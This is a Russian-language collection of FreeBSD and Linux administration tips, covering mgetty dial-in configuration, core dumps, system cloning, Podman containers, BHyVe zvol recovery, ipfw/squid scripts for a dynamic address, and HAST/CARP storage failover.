    В очень многих howto по настройки dial-in рекомендуют 
    в /etc/mgetty+sendfax/login.config прописывать строки
    
       /AutoPPP/ - a_ppp /usr/sbin/pppd auth -chap +pap login 
       * - - /bin/login @
    
    что есть не совсем правильно, если требуется только ppp (или emsi и т.д.), ибо
    при такой конфигурации любой дозвонившийся голосом может завесить
    dial-in. Если не класть трубку 
    хотя бы минуту, то на той стороне mgetty успевает запустить /bin/login, и, естественно, 
    на последующие звонки модем не отвечает.
    
    Не прописывать строчку строчку 
       * - - /bin/login @
    не является выходом - mgetty всё равно запускает /bin/login если не удалось
    распознать ppp. Проблему можно решить, заменив в конфиге /bin/login на
    /sbin/nologin:
    
       * - - /sbin/nologin @
    
     
    ----* Как сохранять все core файлы только в определенной директории   [обсудить]
     
    FreeBSD (%U.%N.%P=user.имя_процесса.pid, подробнее - man core):
       sysctl -w kern.corefile=/tmp/%U.%N.%P.core
       
    Linux (последние ядра):
       sysctl -w kernel.core_pattern=/tmp/%e.%p.core (строка не больше 64 байт)
       или через /proc/sys/kernel/core_pattern
    
    Максимальный размер core файла задается через:
       ulimit -c 100
    
     
    ----* Как завести нового пользователя в FreeBSD в автономном режиме ? (доп. ссылка 1)   [обсудить]
     
    Нужно использовать не команду adduser, а команду pw (man pw, pw useradd help). Например: 
      pw useradd -n логин -c 'комментарий, фио' -d /home/логин -m -s /bin/true
    
     
    ----* Какие программы в FreeBSD занимаются переиндексацией системных баз   [комментарии]
     
    /bin/sh MAKEDEV all  (dev_mkdb)
    /usr/bin/newaliases
    /usr/bin/cap_mkdb /etc/login.conf
    /usr/sbin/pwd_mkdb -p /etc/master.passwd
    
     
    ----* Как создать рабочий дубликат Linux или FreeBSD системы.   [обсудить]
     
    1. Монтируем новый жесткий диск.
    
    2. Создаем разделы на новом диске с помощью fdisk (для freebsd /stand/sysintall
    или /usr/sbin/sysinstall). Создаем файловую систему.
    
    3. Копируем файлы на новый диск (кроме каталога /mnt, не допускаем рекурсии !!!)
       find / -xdev | cpio -pdumv /mnt/new    - на каждый раздел.
       или tar cf - /bin /usr /etc д.р.| tar xf - -C /mnt/new
       или cd /mnt/new; dump -0u -f - /директории| restore -r -f -
       или cp -Raxv / /mnt/new  - на каждый раздел.
       или pax -r -w -p e / /mnt  (говорят копирует гораздо быстрее чем dump/restore)
       или просто копируем в Midnight Commander'е (не рекомендуется).
    
       Лучший способ - dump/restore или rsync, иначе можно потерять расширенные атрибуты и ACL.
    
    4. Редактируем /mnt/new/etc/fstab
    
    5. Создаем с помощью /dev/MAKEDEV недостающие устройства (для нового типа диска).
    
    6. mkdir /mnt/new/proc /mnt/new/mnt
    
    7a. Только для Linux: правка /etc/lilo.conf и запуск lilo -r /mnt/new -b /dev/hdb
       При возникновении ошибки при загрузке:
       Было:
       boot=/dev/sda
       default=linux-up
       image=/boot/vmlinuz-up
            label=linux-up
            root=/dev/sda2
            initrd=/boot/initrd-up.img
       
       Предположим, что дубликат размещен на /dev/sdb, тогда меняем boot=/dev/sda на boot=/dev/sdb
       и добавляем:
       disk=/dev/sdb
          bios=0x80
       
      Выполняем lilo -r /mnt/new и не забываем убирать исправления из lilo.conf.
    
    7b. Для freebsd загрузчик устанавливается после разбиения диска на разделы через sysintall.
    PS. Если диски одинаковые можно использовать dd if=/dev/hda of=/dev/hdb,
       если разделы одинаковые: dd if=/dev/hda1 of=/dev/hdb1
    
     

       FreeBSD специфика

    ----* Использование инструментария Podman для запуска контейнеров во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Начиная с выпуска FreeBSD 14.2 стали формироваться образы контейнеров в
    формате  OCI (Open Container Initiative). Для запуска контейнеров на основе
    этих образов можно применять инструментарий Podman, который портирован для
    FreeBSD и доступен для установки из пакетов.
    
    Для загрузки предложены три варианта образов FreeBSD:
    
    
  • static - урезанное окружение для выполнения только статически собранных исполняемых файлов
  • dynamic - расширенный вариант окружения static с компонентами для использования разделяемых библиотек и запуска динамически скомпонованных исполняемых файлов.
  • minimal - дополняет вариант dynamic утилитами для формирования привычного консольного окружения с UNIX shell и пакетным менеджером. Установка Podman во FreeBSD. pkg install -r FreeBSD -y podman-suite emulators/qemu-user-static Настройка ZFS-раздела для контейнеров: zfs create -o mountpoint=/var/db/containers zroot/containers zfs snapshot zroot/containers@empty При желании использовать UFS вместо ZFS в /usr/local/etc/containers/storage.conf заменяем "zfs"/driver на "vfs": sed -I .bak -e 's/driver = "zfs"/driver = "vfs"/' \ /usr/local/etc/containers/storage.conf Создаём конфигурацию межсетевого экрана PF - /etc/pf.conf, используя пример /usr/local/etc/containers/pf.conf.sample. Перезапускаем PF sysctl net.pf.filter_local=1 service pf restart Монтируем /dev/fd: mount -t fdescfs fdesc /dev/fd Создаём необходимые для Podman файлы конфигурации, используя примеры: /usr/local/etc/containers/containers.conf.sample /usr/local/etc/containers/policy.json.sample /usr/local/etc/containers/registries.conf.sample /usr/local/etc/containers/storage.conf.sample Устанавливаем образы контейнеров minimal, dynamic и static с FreeBSD 4.2: export OCIBASE=https://download.freebsd.org/releases/OCI-IMAGES/14.2-RELEASE/amd64/Latest podman load -i=$OCIBASE/FreeBSD-14.2-RELEASE-amd64-container-image-minimal.txz podman load -i=$OCIBASE/FreeBSD-14.2-RELEASE-amd64-container-image-dynamic.txz podman load -i=$OCIBASE/FreeBSD-14.2-RELEASE-amd64-container-image-static.txz Проверяем список установленных образов контейнеров командами "podman images" и "buildah images": podman images REPOSITORY TAG IMAGE ID CREATED SIZE localhost/freebsd14-minimal 14.2-RELEASE-amd64 c5f3e77557a9 4 days ago 35.1 MB localhost/freebsd14-dynamic 14.2-RELEASE-amd64 ebf7538b22f4 4 days ago 15.9 MB localhost/freebsd14-static 14.2-RELEASE-amd64 7876fe59dbb3 4 days ago 5.45 MB buildah images REPOSITORY TAG IMAGE ID CREATED SIZE localhost/freebsd14-minimal 14.2-RELEASE-amd64 c5f3e77557a9 4 days ago 35.1 MB localhost/freebsd14-dynamic 14.2-RELEASE-amd64 ebf7538b22f4 4 days ago 15.9 MB localhost/freebsd14-static 14.2-RELEASE-amd64 7876fe59dbb3 4 days ago 5.45 MB Анализируем слои, образующие образ minimal, который является надстройкой над образами static и dynamic: podman image tree localhost/freebsd14-minimal:14.2-RELEASE-amd64 Image ID: c5f3e77557a9 Tags: [localhost/freebsd14-minimal:14.2-RELEASE-amd64] Size: 35.07MB Image Layers ├── ID: cd53fb07fb66 Size: 5.449MB Top Layer of: [localhost/freebsd14-static:14.2-RELEASE-amd64] ├── ID: a01d37f7777b Size: 10.4MB Top Layer of: [localhost/freebsd14-dynamic:14.2-RELEASE-amd64] └── ID: 36b0c80ca1f7 Size: 19.21MB Top Layer of: [localhost/freebsd14-minimal:14.2-RELEASE-amd64] Сверяем контрольные суммы образов: podman inspect localhost/freebsd14-minimal:14.2-RELEASE-amd64 Запускаем /bin/sh в контейнере: podman run -it localhost/freebsd14-minimal:14.2-RELEASE-amd64 /bin/sh
  •  
    ----* Подключение в BHyVe zvol-диска с другой машины   Автор: КриоМух  [комментарии]
     
    Ситуация такова: Когда-то давно в 2019 году, обратилась знакомая бухгалтер, с
    проблемой, что вирусы зашифровали все её базы 1С, хранящиеся на личном сервере,
    который ей поднял и оформил для работы по RDP - её айтишник. Когда вирус всё
    пожрал, внезапно обнаружилось, что отсутствуют резервные копии, так как они
    хранились на том же WIN-сервере, и оказались также пожранными. Более того, в
    процессе разбирательств с этой машиной, выяснилось, что там 4 диска, 2 - HDD и
    2 SSD - и при этом все они отдельными устройствами, без намёка на хоть какую-то
    реализацию зеркалирования. Айтишника этого она с позором выгнала (отказавшись с
    ним иметь дело) и обратилась ко мне.
    
    Понятно что не за восстановлением пожранного, а за организацией сервера, в
    работе и надёжности которого она бы могла быть уверена.
    
    Я как старый пользователь FreeBSD, конечно сразу ей сформировал предложение -
    эту её машину превратить в сервер на FreeBSD, а уже на нём развернуть виртуалку
    с виндой, 1С и всей этой нужной для её работы кухней.
    
    На предложение докупить ещё один ПК, чтобы был отдельной машиной для резервных
    копий - отказалась, так как женщина она во-первых бухгалтер, а во-вторых
    прижимистый бухгалтер :)
    
    Всё ей в итоге оформил в виде хоста на FreeBSD, c её ZFS-ным зеркалом на 2 HDD
    и 2 SSD, и самбой, на которую складировались ежедневные бэкапы, которые затем
    скриптом самого хоста перекладывались в samba-ресурс, доступный только на чтение.
    
    Виртуалку оформил на BHyVe'е, так как виртуалбокс  медленнен, а BHyVe и
    православный и производительней. Sparse - файлом оформил диск на HDD-пуле под
    систему в виртуалке, и SSD-пул - подключил zvol'ом как диск под базы 1С.
    
    Разворачивал BHyVe не голый, а с управлением с помощью vm-bhyve. Всё
    завелось и работало, как часы. Но через год-полтора, женщина-бухгалтер и со
    мной "рассталась", так как всё работало, а я за поддержку желал ежемесячную,
    оговорённую сумму.
    
    Никаких козней я понятное дело не строил, да и не собирался, так как честь
    IT-шную беречь должно всегда. И все актуальные копии хранилища со всеми
    доступами и чего там наворочено в её "инфраструктуре" я ей при внесении правок
    сразу высылал и при завершении сотрудничества также актуальную выдал, с
    пояснениями, что там всё что есть, все доступы и прочая-прочая, что может
    понадобиться знать любому, кто будет заниматься её сервером. Ответы на все
    вопросы так сказать. Всё.
    
    Собственно прошло 3-4 года, и вот недавно звонит она мне и говорит, что всё
    пропало. Сервак не грузится, её текущий админ не знает что со всем этим делать,
    так как с его слов "там сложная распределённая система и диски эти не может
    посмотреть". Короче сервак подох, ничего не работает, и ей главное выцарапать
    оттуда 1С базы.
    
    Получил, включил, смотрю: Действительно ничего не грузится, что-то там с uefi
    разделом, и загрузка дохнет на начальных этапах. Думаю - ничего страшного, там
    же бэкапы были, сейчас быстренько смонтирую пул, да последний достану и дело с
    концом. Загрузился с флешки, подмонтировал пул, который был HDD, под самбу -
    смотрю а бэкап последний лежит прошлогодний. Место на пуле закончилось, так как
    самбу они ещё и как файловую шару использовали и накидали туда всякого, что
    подъело весь ресурс и баз видимо 1С ещё добавилось, и бэкапы делаться просто не
    смогли, а текущий специалист, то ли не следил, то ли не знал как следить,
    короче перефразируя (надеюсь) из тех, кто: "Не следил и не проверял бэкапы, но
    теперь уже будет всегда это делать (ещё раз надеюсь)".
    
    Тогда остался один путь - получить данные непосредственно с диска в виртуалке,
    который реализован был как отдельный датасет на SSD пуле. Отцепил я значит один
    из SSD'шников и подключил к своему домашнему ПК, на котором у меня также
    FreeBSD и виртуалка BHyVe, с виндой, на случай если что-то виндовое
    потребуется. В общем вся соль этого была в подключении к BHyVe'овой машине
    диска оформленного как сырой ZFS-датасет. То есть в нём ни файлов нет, просто
    особого типа ZFS датасет.
    
    В итоге, чтобы его подключить на посторонней системе с FreeBSD, надо конечно
    первым делом ZFS-пул импортировать:
    
       zpool import -f
    
    -f нужен, так как он ругнётся что этот пул использовался на другой машине и
    вроде как может не надо его тут подключать.
    
    А после этого в 
    
       zfs list 
    
    ищем где наш датасет и объявляем его в конфигурации нашей рабочей виртуалки:
    
       disk1_type="virtio-blk"
       disk1_dev="custom"
       disk1_name="/dev/zvol/oldSSD/BHYVE/1C-BASES"
    
    И это тут так всё просто и безоблачно описано, а на деле я часа два наверное
    бодался с тем, как именно объявить zvol-овый диск в BHyVe. И в итоге
    
    
  • disk_type - должен быть virtio-blk
  • disk_dev - должен быть custom
  • disk_name - абсолютный путь к zvol'у в /dev, сперва это можно просто проверить ls'ом. Ну а дальше - ещё в самой загруженной ОСи диск не увиделся, но появился SCSI контроллер какой-то, который потребовал драйвера с диска virtio-win-0.1.229 и всё. Женщина - оплатила услуги непростого восстановления файлов, получила инструктаж на тему того, что её админ должен ей подтверждать что бэкап есть и он надёжен. Ну а она со своей стороны должна за этим бдить :)
  •  
    ----* Быстрый посмотр конфигурации GEOM во FreeBSD (доп. ссылка 1)   Автор: Mikhail Zakharov  [комментарии]
     
    Диски, разделы, метки, gmirror и всё прочее:
    
       sysctl -n kern.geom.conftxt
    
    или
    
       sysctl -n kern.geom.confxml
    
    Простой скрипт парсинга конфигурации GEOM: https://github.com/mezantrop/geom_show
    
    Например:
    
       ./geom_show.sh -l -c DISK -s ";"
    
       Class;Provider;Mediasize;Sectorsize;Stripesize;Stripeoffset;Heads;Sectors;RPM;Ident;Description
       DISK;ada1;52428800;512;0;0;16;63;unknown;VBef22e825-34dd5784;VBOX HARDDISK
       DISK;ada0;25769803776;512;0;0;16;63;unknown;VB05968cbc-2007b6c8;VBOX HARDDISK
       DISK;cd0;0;2048;0;0;0;0;unknown;;VBOX CD-ROM
       DISK;da1;740294656;512;0;0;64;32;unknown;;VBOX HARDDISK
       DISK;da0;62914560;512;0;0;64;32;unknown;;VBOX HARDDISK
    
       sysctl -n kern.geom.confxml | ./geom_show.awk -v class=PART -v ofs=" "
    
       Class Provider Mediasize Sectorsize Stripesize Stripeoffset Start End Index Type
       PART ada0p3 1073700352 512 0 3221245952 48234536 50331606 3 freebsd-swap
       PART ada0p2 24695537664 512 0 544768 1064 48234535 2 freebsd-ufs
       PART ada0p1 524288 512 0 20480 40 1063 1 freebsd-boot
    
     
    ----* Установка параметров шлюза на базе FreeBSD по динамическому адресу   Автор: als  [комментарии]
     
    Введение
    
    На сервере FreeBSD 10.1 установлены два интернет канала. Первый вполне
    нормальный Ethernet, выделенный ip адрес.
    Второй - LTE модем, адрес соответственно динамический.
    Весь трафик squid должен уходить на второй канал.
    Для этого используется опция tcp_outgoing в squid.conf
    В правилах ipfw добавлены два правила для обеспечения forward на новый шлюз
    
       ipfw add 10 fwd <адрес шлюза на втором канале> all from <динамический адрес второго канала> to not 192.168.1.0/24 out
       ipfw add 11 pass all from any to <динамический адрес второго канала> via <интерфейс LTE модема> in
    
    Механизм ясен. Осталось сделать следующее:
    
    1. При изменении динамического адреса надо подставлять новые значения в ipfw и в squid
    
    2. Сделать это при старте сервера
    
    По тексту интерфейс ue0 - интерфейс LTE модема.
    
    Получение нового динамического адреса
    
    После инициализации модема и запуска dhclient мы получим динамический IP адрес.
    dhclient формирует leases в своем файле.
    
    Пример файла:
    
    	lease {
    	  interface "ue0";
    	  fixed-address 100.67.50.124;
    	  option subnet-mask 255.255.255.248;
    	  option routers 100.67.50.121;
    	  option domain-name-servers 83.149.32.225,83.149.32.224;
    	  option dhcp-lease-time 518400;
    	  option dhcp-message-type 5;
    	  option dhcp-server-identifier 100.67.50.121;
    	  option dhcp-renewal-time 259200;
    	  option dhcp-rebinding-time 453600;
    	  renew 1 2015/6/15 08:59:05;
    	  rebind 3 2015/6/17 14:59:05;
    	  expire 4 2015/6/18 08:59:05;
    	}
    	lease {
    	  interface "ue0";
    	  fixed-address 100.67.3.43;
    	  option subnet-mask 255.255.255.248;
    	  option routers 100.67.3.41;
    	  option domain-name-servers 83.149.32.225,83.149.32.224;
    	  option dhcp-lease-time 518400;
    	  option dhcp-message-type 5;
    	  option dhcp-server-identifier 100.67.3.41;
    	  option dhcp-renewal-time 259200;
    	  option dhcp-rebinding-time 453600;
    	  renew 6 2015/6/13 16:12:27;
    	  rebind 1 2015/6/15 22:12:27;
    	  expire 2 2015/6/16 16:12:27;
    	}
    
    Lease в текущий момент будет последним. Нас интересует две строки.
    fixed-address - это сам динамический адрес. option routers - это адрес шлюза на
    этом интерфейсе.
    
    Я получаю эти поля через awk, только потому, что lease несколько и нам нужен
    последний. Через awk это удобно сделать.
    
    Скрипт для получения ip
    megafon_get_ip.awk:
    
    	BEGIN {nline=1
    	}
    	
    	{
    	   tag1[nline]=$1
    	   tag2[nline]=$2
    	   nline=nline+1
    	}
    	
    	END {
    	    for (u=1;u<nline;u++)
    	      {
    	        if (tag1[u]=="fixed-address")
    	        {
    	# Делаем замену последнего символа, что бы не мешал.
    	                gsub(";","",tag2[u]);
    	                ip = tag2[u];
    	        }
    	      }
    	    print ip;
    	    }
    
    Скрипт для получения routers
    
    megafon_get_router.awk:
    
    	BEGIN {nline=1
    	}
    	
    	{
    	   tag2[nline]=$2
    	   tag3[nline]=$3
    	   nline=nline+1
    	}
    	
    	END {
    	    for (u=1;u<nline;u++)
    	      {
    	        if (tag2[u]=="routers")
    	        {
    	# Делаем замену последнего символа, что бы не мешал.
    	                gsub(";","",tag3[u]);
    	                router = tag3[u];
    	        }
    	      }
    	
    	   print router;
    	}
    
    Обновление таблиц ipfw
    
    Считывание нового динамического адреса и адреса шлюза в ipfw сделано через cat
    
    Выдержка из rc.firewall:
    
    	...
    	eth_megafon="ue0"
    	ip_megafon=`cat /etc/megafon_ip`
    	router_megafon=`cat /etc/megafon_router`
    	${fwcmd} add 10 fwd $router_megafon all from $ip_megafon to not 192.168.0.0/16 out
    	${fwcmd} add 11 pass all from any to $ip_megafon via $eth_megafon in
    	...
    
    Как видно, текущие адреса хранятся в /etc/megafon_ip и /etc/megafon_router
    
    Обновление squid.conf
    
    К сожалению, опция tcp_outgoing_address требует указания адреса. То есть фокус
    как в rc.firewall не пройдет.
    Значит надо будет делать замену.
    
    Создаем файл squid.conf.etalon:
    	...
    
    	tcp_outgoing_address #ip_megafon#
    
    	...
    
    И остается применить 
    
       sed 's/#ip_megafon#/'< новый динамический адрес >'/g' /usr/local/etc/squid/squid.conf.etalon > /usr/local/etc/squid/squid.conf
    
    Основной скрипт
    
    Итак, получать новые адреса научились. Обновлять в ipfw, менять squid.conf тоже.
    
    Полученные новые адреса пишем во временные файлы, потом сравниваем новый
    динамический адрес с прежним.
    Прежний (текущий) адрес храним в файл /etc/megafon. Если адреса не совпадают,
    обновляем файл с адресом и запускаем механизм обновления
    
    megafon_get_ip:
    
    	#Получаем новый ip
    	awk -f /usr/local/scripts/megafon_get_ip.awk /var/db/dhclient.leases.ue0 > /tmp/megafon_ip
    	
    	#Получаем новый router. Хотя можно и позже, но для удобства понимания можно и тут
    	awk -f /usr/local/scripts/megafon_get_router.awk /var/db/dhclient.leases.ue0 > /tmp/megafon_router
    	
    	#Сравниваем его с существующим
    	ip_new=`cat /tmp/megafon_ip`
    	ip_now=`cat /etc/megafon_ip`
    	
    	if [ $ip_new != $ip_now ]; then
    	        # Обновляем файлы. Нужно обновлять и таблицы ipfw
    	        cp /tmp/megafon_ip /etc/megafon_ip
    	        cp /tmp/megafon_router /etc/megafon_router
    	
    	        #Обновляем ipfw. Эта конструкция не отрубает соединение при обновлении правил ipfw
    		sh /etc/rc.firewall > /dev/null 2>&1
    	
     	       #Формируем новый конфиг squid. К сожалению, tcp_outgoing не умеет брать адрес из файла.
             sed 's/#ip_megafon#/'$ip_new'/g'
    /usr/local/etc/squid/squid.conf.etalon > /usr/local/etc/squid/squid.conf
    	
    	        #Рестарт squid.
    	        /usr/local/sbin/squid -k reconfigure
    	fi
    
    Запуск основного скрипта при старте сервера
    
    Для получения динамического адреса самым простым виделось поставить в rc.conf
    строку ifconfig_ue0="DHCP"
    
    Но модем от Мегафона, его надо инициализировать перед запросом адреса. Заодно
    обеспечим вызов основного скрипта.
    Создал /usr/local/etc/rc.d/megafon
    
    megafon:
    
    	#!/bin/sh
    	#
    	# PROVIDE: megafon
    	# REQUIRE: dhclient
    	# KEYWORD: shutdown
    	
    	. /etc/rc.subr
    	
    	name=megafon
    	
    	load_rc_config ${name}
    	
    	command=/usr/local/etc/megafon
    	command_args=""
    	
    	run_rc_command "$1"
    
    В rc.conf добавляем:
    
    	...
    	megafon="YES"
    	...
    
    Сам стартовый скрипт
    
    /usr/local/etc/megafon:
    
    	#Инициализация модема
    	echo 'AT^NDISDUP=1,1,"internet"' > /dev/cuaU1
    	#Стартуем клиента
    	/sbin/dhclient -b ue0
    
     #Через 10 секунд надо вызвать обновление таблиц и всего остального. Приводит к
    10 секундной задержке старта сервера.
    	sleep 10
    	#Вызов основного скрипта
    	/usr/local/scripts/megafon_get_ip
    
    Периодическое обновление 
    
    Механизма вызова сторонних скриптов при обновлении динамического адреса не
    нашел. Если поставить основной скрипт в cron с периодом запуска 1 минута, то
    при обновлении адреса время потери составит связи не больше 1 минуты.
    
     
    ----* Организация входа по SSH в окружение Live-диска FreeBSD (доп. ссылка 1)   [комментарии]
     
    В процессе восстановления сбойного сервера гораздо удобнее проводить
    восстановительные работы с привычной рабочей станции, соединившись по SSH. При
    этом не всегда имеется возможность загрузить сбойную систему и обеспечить её
    доступ к сети, что вынуждает пользоваться Live-окружением в процессе
    восстановления. Ниже представлена инструкция, как запустить SSH-сервер в
    окружении FreeBSD Live CD.
    
    Загрузившись в Live-CD запускаем командную оболочку через кнопку Shell.
    
    Поднимаем и настраиваем сетевой интерфейс:
    
       dhclient em0
    
    или при статическом назначении IP:
    
       ifconfig em0 inet 1.2.3.4 netmask 255.255.255.0 
    
    
    Перемонтируем  раздел /etc  для обеспечения записи данных, создав доступный на
    запись слой поверх оригинальной read-only основы при помощи UnionFS:
    
       mkdir /tmp/etc
       mount_unionfs /tmp/etc /etc
       
    Правим конфигурацию sshd, например, разрешим вход от пользователя root:
    
       vi /etc/ssh/sshd_config
    
    Установим пароль для пользователя root:
    
       passwd root
    
    Запустим sshd (скрипт автоматически сгенерирует все нужные для хоста ключи):
    
       service sshd onestart
    
    
    Подключаемся с другой машины по SSH и выполняем восстановительные работы.
    
     
    ----* Создание отказоустойчивого хранилища на базе FreeBSD или FreeNAS с использованием ZFS, HAST и CARP (доп. ссылка 1)   [комментарии]
     
    Начиная с FreeBSD 8.1 в состав включена поддержка системы репликации устройств
    хранения данных HAST (Highly Avalable STorage), позволяющей создавать
    высоконадежные конфигурации, в которых данные синхронизированы между
    несколькими узлами. HAST реализован в виде работающего на уровне пользователя
    демона hastd, использующего стандартный класс GEOM Gate для обработки запросов
    ввода/вывода. Hastd, обеспечивает синхронную репликацию блочных устройств
    поверх TCP/IP сетей, независимо от типа накопителя и файловой системы. HAST
    предусматривает возможность быстрого восстановления после сбоя, причём, при
    выходе из строя первичного master-узла, его функции могут быть делегированы
    slave-узлу. После проверки и монтирования UFS раздела или импорта ZFS пула на
    поврежденном узле, система автоматически синхронизирует внесенные за время
    восстановления изменения и продолжит работу без потери данных.
    
    Для быстрого развёртывания хранилищ удобно использовать дистрибутив FreeNAS. К
    сожалению в настоящее время FreeNAS не поддерживает HAST из коробки, но так как
    во FreeNAS используются стандартные компоненты FreeBSD 8.x, ни что не мешает
    самостоятельно вручную создать и надстроить работу подобных хранилищ.
    
    После первой загрузки FreeNAS настроим параметры сетевого доступа и DNS. Первый
    узел freenas1 будет иметь IP 192.168.137.31, а второй freenas2 -
    192.168.137.32. После первичной типовой настройки подключимся к shell.
    
    
    Настройка узла HAST
    
    Перемонтируем корневой раздел для обеспечения возможности записи:
    
      mount -uw /
     
    Создадим массив хранения RAID3 из дисков da1, da2, da3.
    
       graid3 label gr0raid3 da1 da2 da3
    
    В итоге будет создано устройство /dev/raid3/gr0raid3
     
    Включим поддержку CARP и активируем демон hastd:
    
       cat <<EOF >> /conf/base/etc/rc.conf
       ifconfig carp0 create
       ifconfig carp0 vhid 1 pass freenashast 192.168.137.30/24
       # enable HAST daemon
       hastd_enable="YES"
       EOF
     
    Если в директории  /boot/kerneldaemon отсутствует модуль if_carp.ko, скопируем
    его из системы на базе FreeBSD 8.2 или 8.3.
    
    Создадим файл конфигурации hast.conf, в котором определим /dev/raid3/gr0raid3 в
    качестве синхронизируемого между узлами хранилища:
    
       cat <<EOF > /conf/base/etc/hast.conf
       resource freenashast {
            on freenas1 {
                    local /dev/raid3/gr0raid3
                    remote freenas2
            }
            on freenas2 {
                    local /dev/raid3/gr0raid3
                    remote freenas1
            }
       }
       EOF
     
    Копируем hast.conf в директорию /etc и перезагружаем систему:
    
       cp /conf/base/etc/hast.conf /etc
     
    Создаём хранилище hast:
    
       hastctl create freenashast
     
    После появления устройства /dev/hast/freenashast назначаем текущему узлу роль первичной системы:
    
       hastctl role primary freenashast
     
    Создаём zpool в хранилище freenashast
    
       zpool create -m /mnt gr0 /dev/hast/freenashast
    
    Создаём символическую ссылку на директорию RAID3, чтобы web-интерфейс FreeNAS
    распознал вручную созданное хранилище:
    
       ln -s /dev/hast/freenashast /dev/raid3/gr1raid3
     
    После этого в GUI FreeNAS можно автоматически импортировать раздел gr0 и
    настроить совместный доступ  с использованием штатного web-интерфейса.
    
     
    Настроим демон devd для переключения HAST из режима master в slave и наоборот в
    зависимости от состояния сетевого линка:
    
       cat <<EOF >> /conf/base/etc/devd.conf
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_UP";
            action "/usr/local/sbin/carp-hast-switch master";
       };
     
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_DOWN";
            action "/usr/local/sbin/carp-hast-switch slave";
       };
       EOF
     
    Создадим скрипт hast-carp-switch, который будет выполнять переключение режимов:
    
       cat <<EOF > /usr/local/sbin/carp-hast-switch
    
       #!/bin/sh
       resources="freenashast"
       zfspool="gr0"
       delay=3
       log="local0.debug"
       name="carp-hast"
     
       case "$1" in
            master)
                    logger -p $log -t $name "Switching to primary provider for $resources."
                    # in order to wait for the original primary provider to change role state
                    # otherwise, brain-split may happen
                    sleep $delay
                    for disk in $resources; do
                            # ensure that this storage can be switched                        
                            while $(pgrep -lf "hastd: $disk \\(secondary\\)" > /dev/null 2>&1 ); do
                                    sleep 1
                            done
     
                            # Switch role for each disk
                            hastctl role primary $disk
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to change role to primary for resouce ${disk}."
                                    exit 1
                            fi
                    done
     
                    # Wait for the /dev/hast/* devices to appear
                    for disk in $resources; do
                            for I in $(jot 60); do
                                    [ -c "/dev/hast/${disk}" ] && break
                                    sleep 0.5
                            done
                            if [ ! -c "/dev/hast/${disk}" ] ; then
                                    logger -p $log -t $name "GEOM provider /dev/hast/$disk did not appear."
                                    exit 1
                            fi
                    done
     
                    logger -p $log -t $name "Role for HAST resources switched to primary."
     
                    logger -p $log -t $name "Importing ZFS pool."
                    zpool import -f $zfspool
     
                    # restart the enabled services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba restart
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk restart
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd restart
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd restart
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver restart
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd restart
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd restart
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd restart
                                            ;;
                             esac
                  done
     
                    ;;
     
            slave)
                    logger -p $log -t $name "Switching to secondary provider for $resources."
                    # stop the running services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba stop
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk stop
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd stop
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd stop
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver stop
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd stop
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd stop
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd stop
                                            ;;
                           esac
                    done
     
                    # export the zfs pool & change role to slave
                    for disk in $resources; do
                            zpool export -f $zfspool
                            sleep $delay
                            hastctl role secondary $disk 2>&1
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to switch role to secondary for resource $disk."
                                    exit 1
                            fi
                            logger -p $log -t name "Role switched to secondary for resource $disk"
                    done
                    ;;
            *)
                    logger -p $log -t $name "Usage: $0 "
                    exit 1
                    ;;
       esac
    
    Поменяем права доступа и перезагрузим систему: 
    
       chmod +x /usr/local/sbin/carp-hast-switch
       reboot
    
    После перезагрузки вручную установим первичный режим HAST для созданного хранилища:
    
       hastctl role primary freenashast
    
    Выше представленная инструкция рассчитана на создание master-узла. Для
    запасного slave-узла, который возьмёт на себя управление в случае сбоя
    первичного узла, настойка выполняется аналогично, за одним исключением - для
    интерфейса carp0 должен быть установлен меньший приоритет, чем на master-узле:
    
       ifconfig carp0 vhid 1 pass freenashast advskew 100 192.168.137.30/24
    
     
    ----* Настройка gmirror при использовании GPT во FreeBSD 9   Автор: Mikhail Zakharov  [комментарии]
     
    С релизом FreeBSD-9.0, GPT-формат разделов жестких дисков стал, наконец, делом
    обыденным, ведь даже новый инсталлятор предполагает использование GPT
    по-умолчанию. Однако в связи с переходом на GPT-разметку дисков возникают и
    сложности, поскольку очень многое, в том числе и документация, продолжает быть
    завязано на ныне устаревший механизм MBR-разделов или слайсов. Так, например, к
    своему огорчению я обнаружил, что большинство разделов Handbook'а посвященных
    дискам, GEOM-классам и файловым системам изобилуют примерами работ со старыми
    слайсами, а не используют для этой цели новый формат GPT.
    
    Более того, в январе 2012 года, в разделе учебника, посвященного использованию
    gmirror, я внезапно наткнулся на предостережение, которое прямо указывает на
    невозможность сочетания FreeBSD-9.x, gmirror и GPT-разметки дисков:
    
    Warning: Creating a mirror out of the boot drive may result in data loss if any
    data has been stored on the last sector of the disk. This risk is reduced if
    creating the mirror is done promptly after a fresh install of FreeBSD. The
    following procedure is also incompatible with the default installation settings
    of FreeBSD 9.X which use the new GPT partition scheme. GEOM will overwrite GPT
    metadata, causing data loss and possibly an unbootable system.
    
